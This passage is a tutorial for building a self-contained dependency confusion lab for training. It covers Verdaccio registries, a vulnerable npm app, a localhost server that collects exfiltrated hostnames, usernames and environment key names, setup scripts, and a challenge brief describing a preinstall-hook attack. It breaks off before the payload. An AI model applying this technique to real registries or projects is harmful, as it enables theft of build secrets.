Build a Supply Chain Attack Lab
Create a shareable dependency confusion lab with attack and defense tracks.
Introduction
30 Second Summary
Every time you run npm install, your package manager decides which registry to trust. If an attacker publishes a higher version of your internal package to the public registry, your build server might install theirs instead of yours.
In this project, you will build a self-contained vulnerable lab that teaches dependency confusion attacks through hands-on exploitation. You'll package it as a shareable Git repository that anyone can clone and attack.
What You'll Build
A Git repository containing an automated lab provisioner, a vulnerable "corporate" application, a monitoring server, attack tooling, and documented defenses that map to MITRE ATT&CK T1195.002.
By the end of this project, you'll have:
- A self-contained lab that provisions with a single ./setup-lab.sh command on any Debian/Kali system.
- A working challenge document with objectives and flags that others can attack, plus a full solution walkthrough.
- Three documented defense strategies (scoped packages, registry pinning, lockfile integrity) with working implementations.
- Secret Mission: Add a DNS exfiltration channel and configure registry-level quarantine as advanced bonus objectives.
Are there any prerequisites?
You'll need a CPSA-level understanding of attack frameworks and basic JavaScript familiarity. You also need a Kali Linux VM (running in VirtualBox) with network access.
Before We Start
Before We Start...
Install Dependencies and Create the Lab Structure
To build a shareable lab, you need a toolchain that every recipient will also have access to. Node.js runs the private registry and monitoring server. Verdaccio simulates both the corporate registry and the attacker-controlled public registry.
In this step you will install all dependencies on your Kali VM and scaffold the directory structure that will become your shareable Git repository.
In this step, get ready to:
- Install Node.js, npm, Verdaccio, and Git on Kali.
- Create and initialize the lab repository with all required subdirectories.
Install Node.js and npm
Verdaccio requires Node.js v18 or higher. Kali's rolling repository ships Node.js 22 LTS "Jod", which satisfies this requirement.
- Open a terminal on your Kali desktop by right-clicking the desktop and selecting Open Terminal Here, or by clicking the terminal icon in the top panel.
- Check whether Node.js is already installed by running:
node --version
✔️ I see v18 or higher
Node.js is ready. Kali rolling typically shows v22.x. Now confirm npm is available by running:
npm --version
You should see v9.x. If you see a version number, you are good to proceed.
npm command not found?
On Kali, npm is a separate package from Node.js. Install it by running:
sudo apt install -y npm
Then re-run npm --version to confirm.
ⓧ I see a version lower than 18
You have an older Node.js installation. Upgrade to the version in Kali's rolling repository by running:
sudo apt update && sudo apt install -y nodejs npm
- After the install completes, verify with:
node --version && npm --version
You should see v22.x for Node.js and v9.x for npm.
ⓧ Command not found
Node.js is not installed yet. Install both Node.js and npm from Kali's rolling repository by running:
sudo apt update && sudo apt install -y nodejs npm
- After the install completes, verify with:
node --version && npm --version
You should see v22.x for Node.js and v9.x for npm.
Still seeing errors after apt install?
Make sure your Kali VM has internet access. Run ping -c 1 kali.org to confirm network connectivity.
If apt reports package-not-found errors, your sources list may be stale. Run sudo apt update first and retry. help me troubleshoot Node.js installation on Kali Linux
Install Verdaccio and Git
Verdaccio is a lightweight Node.js private registry. You will run two instances on different ports to simulate the corporate and public registries.
- Install Verdaccio globally by running:
sudo npm install -g verdaccio
- Verify the install succeeded by running:
verdaccio --version
You should see a version number printed (e.g. 6.x).
- Install Git (if not already present) by running:
sudo apt install -y git
- Confirm Git is available by running:
git --version
You should see a version number like git version 2.x.x.
Verdaccio command not found after install?
Global npm packages install to a path that your shell may not include. Try running npx verdaccio --version instead.
If that works, add the npm global bin directory to your PATH by running export PATH=$PATH:$(npm config get prefix)/bin and add that line to your ~/.bashrc so it persists. help me fix the verdaccio path issue
Why Verdaccio instead of a real registry?
Verdaccio runs entirely on localhost with zero external dependencies. Two instances on different ports cleanly isolate the "internal corporate" registry from the "attacker-controlled public" registry.
Because it is a pure Node.js process, there is no Docker or nested-virtualization complexity inside VirtualBox. Every moving part is visible.
Create the lab repository
The lab lives inside a single Git repository. Anyone who clones it gets everything they need to run the exercise.
- Move to your Desktop by running this command:
cd ~/Desktop
- Create the project folder, move into it, and initialize a Git repository by running these commands:
mkdir supply-chain-lab
cd supply-chain-lab
git init
What does git init do?
Running git init creates a hidden .git folder that tracks all changes. This turns a plain directory into a version-controlled repository that others can clone.
- Create the full directory structure the lab requires by running:
mkdir -p verdaccio-configs
mkdir -p packages/legit-auth-utils
mkdir -p vulnerable-app
mkdir -p monitoring-server
mkdir -p attacker-workspace
mkdir -p defenses/defended-app
mkdir -p defenses/scoped-auth-utils
What are these directories for?
- verdaccio-configs/ holds the YAML configuration files for both registry instances.
- packages/legit-auth-utils/ contains the legitimate internal package that the vulnerable app depends on.
- vulnerable-app/ is the target application that an attacker will exploit.
- monitoring-server/ runs a simple HTTP server that captures exfiltrated data.
- attacker-workspace/ is where the attacker crafts their malicious payload.
- defenses/ holds defended versions of the app demonstrating three mitigation strategies.
- Confirm the directories exist by running:
ls
You should see attacker-workspace, defenses, monitoring-server, packages, verdaccio-configs, and vulnerable-app listed in the output.
- Verify the nested directories were created correctly by running:
ls packages && ls defenses
You should see legit-auth-utils under packages/ and defended-app plus scoped-auth-utils under defenses/.
Missing directories?
Make sure you are inside the supply-chain-lab folder before running the mkdir commands. Run pwd to check your current location. It should end with supply-chain-lab.
help me fix my lab directory structure
Your lab skeleton is in place. Next up, you will fill these directories with the vulnerable environment that others will attack.
Build the Vulnerable Environment
Your lab directory structure is ready. Now you need to fill it with the components that make the dependency confusion attack possible.
A real-world dependency confusion attack exploits how npm resolves package names across multiple registries. To simulate this, you need two separate registries (one "corporate" and one "public"), a legitimate internal package, a vulnerable application that depends on it, and a monitoring server that captures exfiltrated data when the attack succeeds.
In this step, get ready to:
- Configure two isolated Verdaccio registries on different ports.
- Create the legitimate internal package and the vulnerable application that depends on it.
- Build a monitoring server that displays captured data when the attack fires.
Create the Verdaccio configuration files
Your lab needs two Verdaccio instances running simultaneously. The private registry on port 4873 represents a corporation's internal registry. The public registry on port 4874 simulates the attacker-controlled public registry where the malicious package will be published.
The critical detail is that neither registry has an uplink to the other. They are completely isolated. This mirrors a real misconfiguration where the vulnerability exists in how the application resolves packages, not in the registry configuration itself.
- Create the private registry configuration by opening it in nano:
nano verdaccio-configs/private-config.yaml
- Paste the following configuration into the editor:
storage: ./private-storage
auth:
htpasswd:
file: ./private-htpasswd
max_users: 100
packages:
'@*/*':
access: $all
publish: $authenticated
unpublish: $authenticated
'**':
access: $all
publish: $authenticated
unpublish: $authenticated
log:
type: stdout
format: pretty
level: warn
- Save and exit nano by pressing Ctrl+O, Enter, then Ctrl+X.
What does this configuration do?
The storage: ./private-storage line tells Verdaccio where to save published packages on disk. The htpasswd auth section allows up to 100 users to self-register.
Notice there is no uplinks section. This means the private registry is completely isolated. It cannot fetch packages from npmjs.org or any other external source. Any package requested must already be published directly to this registry.
- Verify the file was saved correctly:
cat verdaccio-configs/private-config.yaml
You should see the full YAML configuration printed back to the terminal.
Seeing strange characters or missing lines?
YAML is whitespace-sensitive. If cat shows garbled indentation, delete the file with rm verdaccio-configs/private-config.yaml and recreate it. Make sure you paste the content exactly as shown, preserving the two-space indentation.
help me fix my private-config.yaml file
- Create the public registry configuration by opening it in nano:
nano verdaccio-configs/public-config.yaml
- Paste the following configuration:
storage: ./public-storage
auth:
htpasswd:
file: ./public-htpasswd
max_users: 100
packages:
'@*/*':
access: $all
publish: $authenticated
unpublish: $authenticated
'**':
access: $all
publish: $authenticated
unpublish: $authenticated
log:
type: stdout
format: pretty
level: warn
listen: 0.0.0.0:4874
- Save and exit nano by pressing Ctrl+O, Enter, then Ctrl+X.
What makes this different from the private config?
The key difference is the listen: 0.0.0.0:4874 line at the bottom. This tells Verdaccio to bind to port 4874 instead of the default 4873. It also uses separate storage and htpasswd paths so the two registries never share state.
In the attack scenario, this registry represents the public npm registry where anyone can publish packages. The attacker will publish their malicious package here.
- Verify the public config was saved:
cat verdaccio-configs/public-config.yaml
You should see the same structure as the private config, with the addition of the listen line at the end.
✔️ Awesome, I've got everything!
Great. Make sure both files exist in the verdaccio-configs/ directory before moving on.
ⓧ I'd like to double check the full code
storage: ./private-storage
auth:
htpasswd:
file: ./private-htpasswd
max_users: 100
packages:
'@*/*':
access: $all
publish: $authenticated
unpublish: $authenticated
'**':
access: $all
publish: $authenticated
unpublish: $authenticated
log:
type: stdout
format: pretty
level: warn
storage: ./public-storage
auth:
htpasswd:
file: ./public-htpasswd
max_users: 100
packages:
'@*/*':
access: $all
publish: $authenticated
unpublish: $authenticated
'**':
access: $all
publish: $authenticated
unpublish: $authenticated
log:
type: stdout
format: pretty
level: warn
listen: 0.0.0.0:4874
Create the legitimate package and vulnerable application
Every dependency confusion attack targets a real internal package. You need to create that package first so it looks like something a real company would use. Then you build the application that depends on it, with the misconfiguration that makes the attack possible.
- Create the package manifest for the legitimate internal package:
nano packages/legit-auth-utils/package.json
- Paste the following content:
{
"name": "acme-auth-utils",
"version": "1.0.0",
"description": "Internal authentication utilities for Acme Corp",
"main": "index.js",
"private": false
}
- Save and exit nano (Ctrl+O, Enter, Ctrl+X).
Why is the package name unscoped?
The name acme-auth-utils is deliberately unscoped (no @acme/ prefix). This is the root cause of the vulnerability. Unscoped names exist in a single global namespace. If someone publishes the same name to the public registry with a higher version number, npm may install that version instead.
Scoped packages like @acme/auth-utils can be pinned to a specific registry. You will implement this defense later in Step 5.
- Create the package implementation:
nano packages/legit-auth-utils/index.js
- Paste the following code:
function authenticate(username, password) {
console.log(`[acme-auth-utils v1.0.0] Authenticating user: ${username}`);
return { success: true, user: username, token: "safe-token-abc123" };
}
module.exports = { authenticate };
- Save and exit nano.
The authenticate() function is intentionally simple. It represents an internal auth library that a build server calls during deployment.
- Now create the vulnerable application's package manifest:
nano vulnerable-app/package.json
- Paste the following content:
{
"name": "vulnerable-app",
"version": "1.0.0",
"description": "Acme Corp internal build - DO NOT DISTRIBUTE",
"main": "index.js",
"dependencies": {
"acme-auth-utils": "^1.0.0"
}
}
- Save and exit nano.
What makes this app vulnerable?
The dependency on acme-auth-utils uses the ^1.0.0 version range. The caret means npm will accept any version from 1.0.0 up to (but not including) 2.0.0. If an attacker publishes version 1.99.0 to a registry the app can reach, npm will prefer it over 1.0.0 because it is "newer".
- Create the .npmrc file that points the app to the private registry:
nano vulnerable-app/.npmrc
- Paste this single line:
registry=http://localhost:4873
- Save and exit nano.
- Create the application entry point:
nano vulnerable-app/index.js
- Paste the following code:
const { authenticate } = require("acme-auth-utils");
console.log("[*] Acme Corp Build Server - Authentication Service v2.1");
const result = authenticate("deploy-bot", "s3cr3t-pipeline-key");
console.log("[*] Auth result:", result);
console.log("[*] Starting deployment pipeline...");
- Save and exit nano.
- Verify all five files exist:
ls packages/legit-auth-utils/ vulnerable-app/
You should see index.js and package.json listed under both directories, plus .npmrc under vulnerable-app/.
Don't see .npmrc in the ls output?
Files starting with a dot are hidden by default. Run ls -a vulnerable-app/ to see hidden files. If .npmrc is missing, recreate it with nano.
help me verify my vulnerable-app files are correct
✔️ Awesome, I've got everything!
Great. You now have the legitimate package and the vulnerable application ready.
ⓧ I'd like to double check the full code
{
"name": "acme-auth-utils",
"version": "1.0.0",
"description": "Internal authentication utilities for Acme Corp",
"main": "index.js",
"private": false
}
function authenticate(username, password) {
console.log(`[acme-auth-utils v1.0.0] Authenticating user: ${username}`);
return { success: true, user: username, token: "safe-token-abc123" };
}
module.exports = { authenticate };
{
"name": "vulnerable-app",
"version": "1.0.0",
"description": "Acme Corp internal build - DO NOT DISTRIBUTE",
"main": "index.js",
"dependencies": {
"acme-auth-utils": "^1.0.0"
}
}
registry=http://localhost:4873
const { authenticate } = require("acme-auth-utils");
console.log("[*] Acme Corp Build Server - Authentication Service v2.1");
const result = authenticate("deploy-bot", "s3cr3t-pipeline-key");
console.log("[*] Auth result:", result);
console.log("[*] Starting deployment pipeline...");
Create the monitoring server
When a dependency confusion attack succeeds, the malicious package executes code during npm install. That code typically exfiltrates system information to an attacker-controlled server. Your monitoring server simulates this command-and-control (C2) endpoint.
It uses Node.js's built-in http module with zero npm dependencies. This is important because the monitoring server cannot depend on the very package registries you are testing.
- Create the monitoring server file:
nano monitoring-server/server.js
- Paste the following code:
const http = require("http");
const captured = [];
const server = http.createServer((req, res) => {
if (req.method === "POST" && req.url === "/exfil") {
let body = "";
req.on("data", (chunk) => (body += chunk));
req.on("end", () => {
try {
const parsed = JSON.parse(body);
captured.push(parsed);
console.log("\n\x1b[31m========================================\x1b[0m");
console.log("\x1b[31m DATA EXFILTRATED DURING npm install\x1b[0m");
console.log("\x1b[31m========================================\x1b[0m");
console.log(` Hostname: ${parsed.hostname}`);
console.log(` Username: ${parsed.username}`);
console.log(` Platform: ${parsed.platform}`);
console.log(` Working Dir: ${parsed.cwd}`);
console.log(` Node Version: ${parsed.nodeVersion}`);
console.log(` Env Keys: ${(parsed.envKeys || []).join(", ") || "none"}`);
console.log(` Timestamp: ${parsed.timestamp}`);
if (parsed.channel) console.log(` Channel: ${parsed.channel}`);
console.log("\x1b[31m========================================\x1b[0m\n");
console.log(`\x1b[32m[FLAG] hostname=${parsed.hostname}\x1b[0m`);
console.log(`\x1b[32m[FLAG] username=${parsed.username}\x1b[0m`);
} catch (e) {
console.log("[!] Failed to parse exfil data");
}
res.writeHead(200);
res.end("OK");
});
} else if (req.method === "GET" && req.url === "/captured") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify(captured, null, 2));
} else {
res.writeHead(404);
res.end("Not Found");
}
});
server.listen(3000, () => {
console.log("[*] C2 Monitoring Server running on http://127.0.0.1:3000");
console.log("[*] Waiting for exfiltrated data...\n");
});
- Save and exit nano.
What does this server do?
The server exposes two endpoints. POST /exfil receives JSON data from the malicious payload and displays it with red-colored terminal output. GET /captured returns all captured data as JSON for programmatic access.
The [FLAG] lines printed in green are the capture-the-flag objectives. When someone attacks the lab, they need to report the hostname and username values displayed here to prove successful exploitation.
The \x1b[31m and \x1b[32m sequences are ANSI color codes that make the output visually dramatic in the terminal. Red for the exfiltration alert, green for the captured flags.
- Verify the server file was saved correctly:
cat monitoring-server/server.js | head -5
You should see the first five lines starting with const http = require("http");.
- Test that the server starts without syntax errors:
node monitoring-server/server.js &
You should see the message [*] C2 Monitoring Server running on http://127.0.0.1:3000 printed to the terminal.
- Stop the server now that you have confirmed it works:
kill %1
Seeing a syntax error when starting the server?
The most common issue is a missing backtick in the template literal strings. Open the file with nano monitoring-server/server.js and check that every console.log line using ${} interpolation is wrapped in backticks, not regular quotes.
help me fix a syntax error in my monitoring server
✔️ Awesome, I've got everything!
Great. Your monitoring server is ready to receive exfiltrated data when the attack runs.
ⓧ I'd like to double check the full code
const http = require("http");
const captured = [];
const server = http.createServer((req, res) => {
if (req.method === "POST" && req.url === "/exfil") {
let body = "";
req.on("data", (chunk) => (body += chunk));
req.on("end", () => {
try {
const parsed = JSON.parse(body);
captured.push(parsed);
console.log("\n\x1b[31m========================================\x1b[0m");
console.log("\x1b[31m DATA EXFILTRATED DURING npm install\x1b[0m");
console.log("\x1b[31m========================================\x1b[0m");
console.log(` Hostname: ${parsed.hostname}`);
console.log(` Username: ${parsed.username}`);
console.log(` Platform: ${parsed.platform}`);
console.log(` Working Dir: ${parsed.cwd}`);
console.log(` Node Version: ${parsed.nodeVersion}`);
console.log(` Env Keys: ${(parsed.envKeys || []).join(", ") || "none"}`);
console.log(` Timestamp: ${parsed.timestamp}`);
if (parsed.channel) console.log(` Channel: ${parsed.channel}`);
console.log("\x1b[31m========================================\x1b[0m\n");
console.log(`\x1b[32m[FLAG] hostname=${parsed.hostname}\x1b[0m`);
console.log(`\x1b[32m[FLAG] username=${parsed.username}\x1b[0m`);
} catch (e) {
console.log("[!] Failed to parse exfil data");
}
res.writeHead(200);
res.end("OK");
});
} else if (req.method === "GET" && req.url === "/captured") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify(captured, null, 2));
} else {
res.writeHead(404);
res.end("Not Found");
}
});
server.listen(3000, () => {
console.log("[*] C2 Monitoring Server running on http://127.0.0.1:3000");
console.log("[*] Waiting for exfiltrated data...\n");
});
Your vulnerable environment is fully built. Next up, you will write the automation scripts that start everything with a single command and tear it all down cleanly.
Write the Setup and Teardown Scripts
Your lab environment has all the pieces in place: configuration files, the vulnerable app, and the monitoring server. Right now, anyone who clones your repository would need to manually start each Verdaccio instance, create registry users, and publish the legitimate package by hand.
A shareable lab needs one-command provisioning. In this step, you will write two shell scripts that automate the entire lifecycle: setup-lab.sh to spin everything up, and teardown-lab.sh to shut it all down cleanly.
In this step, get ready to:
- Write a setup script that provisions the full lab with a single command.
- Write a teardown script that cleanly removes all lab state.
- Test the complete setup and teardown cycle end to end.
Write the setup script
The setup script is the heart of your shareable lab. It checks that all prerequisites are installed, starts both Verdaccio registries, creates user accounts on each, and publishes the legitimate acme-auth-utils package to the private registry.
- Create setup-lab.sh in the root of your supply-chain-lab folder by running:
nano setup-lab.sh
- Paste the following script into the editor:
#!/bin/bash
set -e
echo "============================================"
echo " Supply Chain Attack Lab - Setup"
echo " MITRE ATT&CK T1195.002"
echo "============================================"
echo ""
command -v node >/dev/null 2>&1 || { echo "[!] Node.js not found. Run: sudo apt install -y nodejs npm"; exit 1; }
command -v npm >/dev/null 2>&1 || { echo "[!] npm not found. Run: sudo apt install -y npm"; exit 1; }
command -v verdaccio >/dev/null 2>&1 || { echo "[!] Verdaccio not found. Run: sudo npm install -g verdaccio"; exit 1; }
echo "[*] Prerequisites OK: node $(node --version), npm $(npm --version)"
echo ""
LAB_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$LAB_DIR/verdaccio-configs"
rm -rf private-storage public-storage private-htpasswd public-htpasswd
echo "[*] Starting private registry on port 4873..."
verdaccio --config "$LAB_DIR/verdaccio-configs/private-config.yaml" &
PRIVATE_PID=$!
echo "[*] Private registry PID: $PRIVATE_PID"
echo "[*] Starting public registry on port 4874..."
verdaccio --config "$LAB_DIR/verdaccio-configs/public-config.yaml" &
PUBLIC_PID=$!
echo "[*] Public registry PID: $PUBLIC_PID"
echo "[*] Waiting for registries to start..."
sleep 3
for i in {1..10}; do
if curl -s http://localhost:4873 >/dev/null 2>&1 && curl -s http://localhost:4874 >/dev/null 2>&1; then
echo "[*] Both registries are up!"
break
fi
sleep 1
done
echo "[*] Creating user on private registry..."
curl -s -X PUT http://localhost:4873/-/user/org.couchdb.user:admin \
-H "Content-Type: application/json" \
-d '{"name":"admin","password":"admin123"}' >/dev/null 2>&1
echo "[*] Creating user on public registry..."
curl -s -X PUT http://localhost:4874/-/user/org.couchdb.user:attacker \
-H "Content-Type: application/json" \
-d '{"name":"attacker","password":"attacker123"}' >/dev/null 2>&1
PRIVATE_TOKEN=$(curl -s -X PUT http://localhost:4873/-/user/org.couchdb.user:admin \
-H "Content-Type: application/json" \
-d '{"name":"admin","password":"admin123"}' | grep -o '"token":"[^"]*"' | cut -d'"' -f4)
echo "[*] Publishing acme-auth-utils v1.0.0 to private registry..."
cd "$LAB_DIR/packages/legit-auth-utils"
npm publish --registry http://localhost:4873 --//localhost:4873/:_authToken="$PRIVATE_TOKEN" 2>/dev/null || \
npm publish --registry http://localhost:4873 2>/dev/null || \
echo "[!] Publish may require manual: npm adduser --registry http://localhost:4873 then npm publish --registry http://localhost:4873"
cd "$LAB_DIR"
echo ""
echo "============================================"
echo " Lab is READY"
echo "============================================"
echo ""
echo " Private Registry: http://localhost:4873"
echo " Public Registry: http://localhost:4874"
echo " Vulnerable App: $LAB_DIR/vulnerable-app/"
echo ""
echo " Read CHALLENGE.md to begin the attack."
echo " Run ./teardown-lab.sh when finished."
echo ""
echo " Registry credentials:"
echo " Private - admin:admin123"
echo " Public - attacker:attacker123"
echo "============================================"
- Save the file by pressing Ctrl+O, then Enter, then Ctrl+X to exit nano.
What does this script do?
The script has five phases that run in sequence:
- Prerequisite checks use command -v to verify that node, npm, and verdaccio are installed. If any are missing, the script exits with a helpful error message.
- Registry startup launches both Verdaccio instances as background processes using the & operator. Each gets its own config file pointing to a different port.
- Health check loop polls both ports with curl up to 10 times, waiting for registries to respond before proceeding.
- User creation sends PUT requests to Verdaccio's CouchDB-compatible user API. This creates the admin account on the private registry and attacker on the public registry.
- Package publishing retrieves an auth token, then publishes acme-auth-utils v1.0.0 to the private registry. The fallback chain handles different auth scenarios gracefully.
Why use set -e?
The set -e directive tells Bash to exit immediately if any command fails. This prevents the script from continuing in a broken state if a prerequisite check passes but a later step fails unexpectedly.
Write the teardown script
A clean teardown is essential for a repeatable lab. The teardown script kills all running processes, removes generated storage, and wipes any artifacts from previous attack runs.
- Create teardown-lab.sh by running:
nano teardown-lab.sh
- Paste the following script into the editor:
#!/bin/bash
echo "[*] Stopping Verdaccio instances..."
pkill -f "verdaccio.*private-config" 2>/dev/null
pkill -f "verdaccio.*public-config" 2>/dev/null
pkill -f "node.*server.js" 2>/dev/null
sleep 1
echo "[*] Cleaning up storage..."
LAB_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
rm -rf "$LAB_DIR/verdaccio-configs/private-storage"
rm -rf "$LAB_DIR/verdaccio-configs/public-storage"
rm -rf "$LAB_DIR/verdaccio-configs/private-htpasswd"
rm -rf "$LAB_DIR/verdaccio-configs/public-htpasswd"
rm -rf "$LAB_DIR/vulnerable-app/node_modules"
rm -rf "$LAB_DIR/vulnerable-app/package-lock.json"
rm -rf "$LAB_DIR/defenses/defended-app/node_modules"
rm -rf "$LAB_DIR/defenses/defended-app/package-lock.json"
rm -rf "$LAB_DIR/attacker-workspace/"*
echo "[*] Lab torn down. Run ./setup-lab.sh to restart."
- Save and exit nano (Ctrl+O, Enter, Ctrl+X).
What does this script do?
The teardown script uses pkill -f to find and kill processes by their command-line pattern. This catches both Verdaccio instances and the monitoring server regardless of their PIDs.
It then removes all generated state: registry storage directories, htpasswd files, node_modules folders, lockfiles, and anything left in the attacker workspace. After teardown, running ./setup-lab.sh again gives a completely fresh environment.
- Create a .gitkeep file so Git tracks the empty attacker-workspace directory by running:
touch attacker-workspace/.gitkeep
- Make both scripts executable by running:
chmod +x setup-lab.sh teardown-lab.sh
- Confirm the scripts are ready by running:
ls -la setup-lab.sh teardown-lab.sh
You should see -rwxr-xr-x permissions on both files, confirming they are executable.
Scripts not showing executable permissions?
Make sure you ran the chmod +x command from inside the supply-chain-lab directory where both scripts live. Run pwd to confirm your current location.
help me fix file permissions on my lab scripts
Test the full setup and teardown cycle
Before anyone else touches this lab, you need to confirm the full lifecycle works end to end. Run the setup, verify registries are live, check the package is published, then tear it all down.
- Start the lab by running:
./setup-lab.sh
You should see the banner, prerequisite confirmations, registry PIDs, and the final "Lab is READY" summary with both registry URLs and credentials.
Seeing "Verdaccio not found"?
This means verdaccio is not in your PATH. If you installed it with sudo npm install -g verdaccio in Step 1, try opening a new terminal tab or running hash -r to refresh your shell's command cache.
help me fix the Verdaccio not found error during setup
- Verify both registries are responding by running:
curl -s http://localhost:4873 | head -5
curl -s http://localhost:4874 | head -5
Both commands should return HTML or JSON from Verdaccio's web interface, confirming the registries are live.
- Verify the legitimate package was published to the private registry by running:
npm view acme-auth-utils --registry http://localhost:4873
You should see package metadata including the name acme-auth-utils, version 1.0.0, and the description from your package.json.
npm view returning an error?
If you see a 404 or connection error, the publish step in the setup script may have failed silently. Check the setup output for the "[!] Publish may require manual" message. If you see it, run these commands manually:
npm adduser --registry http://localhost:4873
npm publish --registry http://localhost:4873
Enter admin for the username and admin123 for the password when prompted.
help me publish acme-auth-utils to my private Verdaccio registry
- Now test the teardown by running:
./teardown-lab.sh
You should see the stopping and cleanup messages, ending with "Lab torn down. Run ./setup-lab.sh to restart."
- Confirm the registries are no longer running by running:
curl -s http://localhost:4873 || echo "Private registry is down"
curl -s http://localhost:4874 || echo "Public registry is down"
Both should print the "is down" message, confirming a clean shutdown.
Why test both directions?
Testing setup AND teardown proves your lab is repeatable. Anyone who clones the repo can run the cycle multiple times without leftover state from previous runs interfering. This is what makes it a proper training tool instead of a one-shot demo.
✔️ Awesome, I've got everything!
Great. Double check you have saved both scripts and that they are executable.
ⓧ I'd like to double check the full code
Here is setup-lab.sh in full:
#!/bin/bash
set -e
echo "============================================"
echo " Supply Chain Attack Lab - Setup"
echo " MITRE ATT&CK T1195.002"
echo "============================================"
echo ""
command -v node >/dev/null 2>&1 || { echo "[!] Node.js not found. Run: sudo apt install -y nodejs npm"; exit 1; }
command -v npm >/dev/null 2>&1 || { echo "[!] npm not found. Run: sudo apt install -y npm"; exit 1; }
command -v verdaccio >/dev/null 2>&1 || { echo "[!] Verdaccio not found. Run: sudo npm install -g verdaccio"; exit 1; }
echo "[*] Prerequisites OK: node $(node --version), npm $(npm --version)"
echo ""
LAB_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$LAB_DIR/verdaccio-configs"
rm -rf private-storage public-storage private-htpasswd public-htpasswd
echo "[*] Starting private registry on port 4873..."
verdaccio --config "$LAB_DIR/verdaccio-configs/private-config.yaml" &
PRIVATE_PID=$!
echo "[*] Private registry PID: $PRIVATE_PID"
echo "[*] Starting public registry on port 4874..."
verdaccio --config "$LAB_DIR/verdaccio-configs/public-config.yaml" &
PUBLIC_PID=$!
echo "[*] Public registry PID: $PUBLIC_PID"
echo "[*] Waiting for registries to start..."
sleep 3
for i in {1..10}; do
if curl -s http://localhost:4873 >/dev/null 2>&1 && curl -s http://localhost:4874 >/dev/null 2>&1; then
echo "[*] Both registries are up!"
break
fi
sleep 1
done
echo "[*] Creating user on private registry..."
curl -s -X PUT http://localhost:4873/-/user/org.couchdb.user:admin \
-H "Content-Type: application/json" \
-d '{"name":"admin","password":"admin123"}' >/dev/null 2>&1
echo "[*] Creating user on public registry..."
curl -s -X PUT http://localhost:4874/-/user/org.couchdb.user:attacker \
-H "Content-Type: application/json" \
-d '{"name":"attacker","password":"attacker123"}' >/dev/null 2>&1
PRIVATE_TOKEN=$(curl -s -X PUT http://localhost:4873/-/user/org.couchdb.user:admin \
-H "Content-Type: application/json" \
-d '{"name":"admin","password":"admin123"}' | grep -o '"token":"[^"]*"' | cut -d'"' -f4)
echo "[*] Publishing acme-auth-utils v1.0.0 to private registry..."
cd "$LAB_DIR/packages/legit-auth-utils"
npm publish --registry http://localhost:4873 --//localhost:4873/:_authToken="$PRIVATE_TOKEN" 2>/dev/null || \
npm publish --registry http://localhost:4873 2>/dev/null || \
echo "[!] Publish may require manual: npm adduser --registry http://localhost:4873 then npm publish --registry http://localhost:4873"
cd "$LAB_DIR"
echo ""
echo "============================================"
echo " Lab is READY"
echo "============================================"
echo ""
echo " Private Registry: http://localhost:4873"
echo " Public Registry: http://localhost:4874"
echo " Vulnerable App: $LAB_DIR/vulnerable-app/"
echo ""
echo " Read CHALLENGE.md to begin the attack."
echo " Run ./teardown-lab.sh when finished."
echo ""
echo " Registry credentials:"
echo " Private - admin:admin123"
echo " Public - attacker:attacker123"
echo "============================================"
Here is teardown-lab.sh in full:
#!/bin/bash
echo "[*] Stopping Verdaccio instances..."
pkill -f "verdaccio.*private-config" 2>/dev/null
pkill -f "verdaccio.*public-config" 2>/dev/null
pkill -f "node.*server.js" 2>/dev/null
sleep 1
echo "[*] Cleaning up storage..."
LAB_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
rm -rf "$LAB_DIR/verdaccio-configs/private-storage"
rm -rf "$LAB_DIR/verdaccio-configs/public-storage"
rm -rf "$LAB_DIR/verdaccio-configs/private-htpasswd"
rm -rf "$LAB_DIR/verdaccio-configs/public-htpasswd"
rm -rf "$LAB_DIR/vulnerable-app/node_modules"
rm -rf "$LAB_DIR/vulnerable-app/package-lock.json"
rm -rf "$LAB_DIR/defenses/defended-app/node_modules"
rm -rf "$LAB_DIR/defenses/defended-app/package-lock.json"
rm -rf "$LAB_DIR/attacker-workspace/"*
echo "[*] Lab torn down. Run ./setup-lab.sh to restart."
Your lab now provisions and tears down with single commands. Next up, you will write the challenge brief and solution docs that turn this into a training exercise someone else can attack.
Write the Challenge and Solution Docs
Your lab environment works. Both registries spin up, the legitimate package publishes, and the teardown script cleans everything. But right now, only you know how to attack it.
A training lab is only useful if someone can pick it up and learn from it independently. In this step, you will write the challenge brief that frames the attack scenario, and the full solution walkthrough that covers both the offensive and defensive paths.
In this step, get ready to:
- Write CHALLENGE.md with the attack scenario, objectives, rules, and tiered hints.
- Write the attack walkthrough in SOLUTION.md covering the full kill chain.
- Add the defender track to SOLUTION.md with three defense strategies and before/after comparisons.
Write the challenge brief
The challenge document is what an attacker reads when they first open your lab. It frames the scenario, tells them what to capture, and gives rules so they learn the technique without shortcuts.
- Create CHALLENGE.md in the root of your supply-chain-lab directory by running:
nano CHALLENGE.md
- Paste the following content into the file:
# Supply Chain Attack Challenge: Dependency Confusion
## Scenario
You've discovered that Acme Corp uses an internal npm registry at `http://localhost:4873`.
Your recon has revealed an application that depends on a package called `acme-auth-utils`.
Exploit this.
## Objectives
Capture the following flags from the build server by exploiting a dependency confusion vulnerability:
1. **Hostname** of the build server
2. **Username** of the account running the build
3. **Environment variable keys** that contain secrets (KEY, SECRET, or TOKEN)
Flags are displayed on the monitoring server at `http://127.0.0.1:3000` in the format:
```
[FLAG] hostname=<value>
[FLAG] username=<value>
```
## Rules
- You may NOT access the private registry (port 4873) directly to publish or modify packages.
- You may only use the public registry (port 4874) for your attack.
- The monitoring server (port 3000) is your C2 server. Start it before attacking.
- You may inspect anything in the `vulnerable-app/` directory.
- Your payload must execute automatically during `npm install` with no user interaction.
## Getting Started
1. Start the monitoring server: `node monitoring-server/server.js`
2. Explore `vulnerable-app/` for reconnaissance.
3. Use `attacker-workspace/` to craft your payload.
4. Publish your malicious package to the public registry on port 4874.
5. Trigger the attack by running `npm install` inside `vulnerable-app/`.
## Hints
### Tier 1 (Minimal)
- Look at how npm resolves package versions when the same name exists on multiple registries.
- The `preinstall` lifecycle script runs before dependencies are installed.
### Tier 2 (Moderate)
- The vulnerable app uses an unscoped package name with a `^` version range.
- A higher version number on any reachable registry wins the resolution race.
- npm lifecycle scripts can execute arbitrary Node.js code.
### Tier 3 (Almost the answer)
